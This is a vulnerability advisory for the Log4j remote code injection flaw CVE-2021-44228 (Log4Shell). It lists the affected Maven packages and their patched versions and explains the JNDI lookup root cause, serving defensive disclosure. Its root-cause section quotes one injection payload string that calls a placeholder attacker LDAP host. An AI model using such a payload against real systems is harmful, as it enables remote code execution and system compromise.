CVE-2021-44228:
Remote code injection in Log4j
10
CVSS ScoreBasic Information
Technical Details
Package Name | Ecosystem | Vulnerable Versions | First Patched Version |
---|---|---|---|
org.apache.logging.log4j:log4j-core | maven | >= 2.13.0, < 2.15.0 | 2.15.0 |
org.apache.logging.log4j:log4j-core | maven | >= 2.4, < 2.12.2 | 2.12.2 |
com.guicedee.services:log4j-core | maven | <= 1.2.1.2-jre17 | |
org.xbib.elasticsearch:log4j | maven | = 6.3.2.1 | |
uk.co.nichesolutions.logging.log4j:log4j-core | maven | = 2.6.3-CUSTOM | |
org.apache.logging.log4j:log4j-core | maven | >= 2.0-beta9, < 2.3.1 | 2.3.1 |
org.ops4j.pax.logging:pax-logging-log4j2 | maven | >= 1.8.0, < 1.9.2 | 1.9.2 |
org.ops4j.pax.logging:pax-logging-log4j2 | maven | >= 1.10.0, < 1.10.8 | 1.10.8 |
org.ops4j.pax.logging:pax-logging-log4j2 | maven | >= 1.11.0, < 1.11.10 | 1.11.10 |
org.ops4j.pax.logging:pax-logging-log4j2 | maven | >= 2.0.0, < 2.0.11 | 2.0.11 |
Vulnerability Intelligence
Miggo AI
Root Cause Analysis
The Log4j RCE vulnerability (Log4Shell) is caused by the improper handling of JNDI lookups in log messages. The vulnerability is triggered when a malicious string, such as ${jndi:ldap://attacker.com/a}
, is logged. The org.apache.logging.log4j.core.lookup.JndiLookup.lookup
function is the initial entry point that processes these lookups. This function then calls org.apache.logging.log4j.core.net.JndiManager.lookup
, which is responsible for performing the actual JNDI lookup. The JndiManager.lookup
function was vulnerable because it did not properly sanitize or restrict the JNDI lookups, allowing it to connect to malicious LDAP servers and execute arbitrary code. The patch for this vulnerability introduced several restrictions in the JndiManager.lookup
function, including whitelisting allowed protocols, hosts, and classes, thus mitigating the RCE risk.
Vulnerable functions
org.apache.logging.log4j.core.lookup.JndiLookup.lookup
log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/JndiLookup.java
org.apache.logging.log4j.core.net.JndiManager.lookup
log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java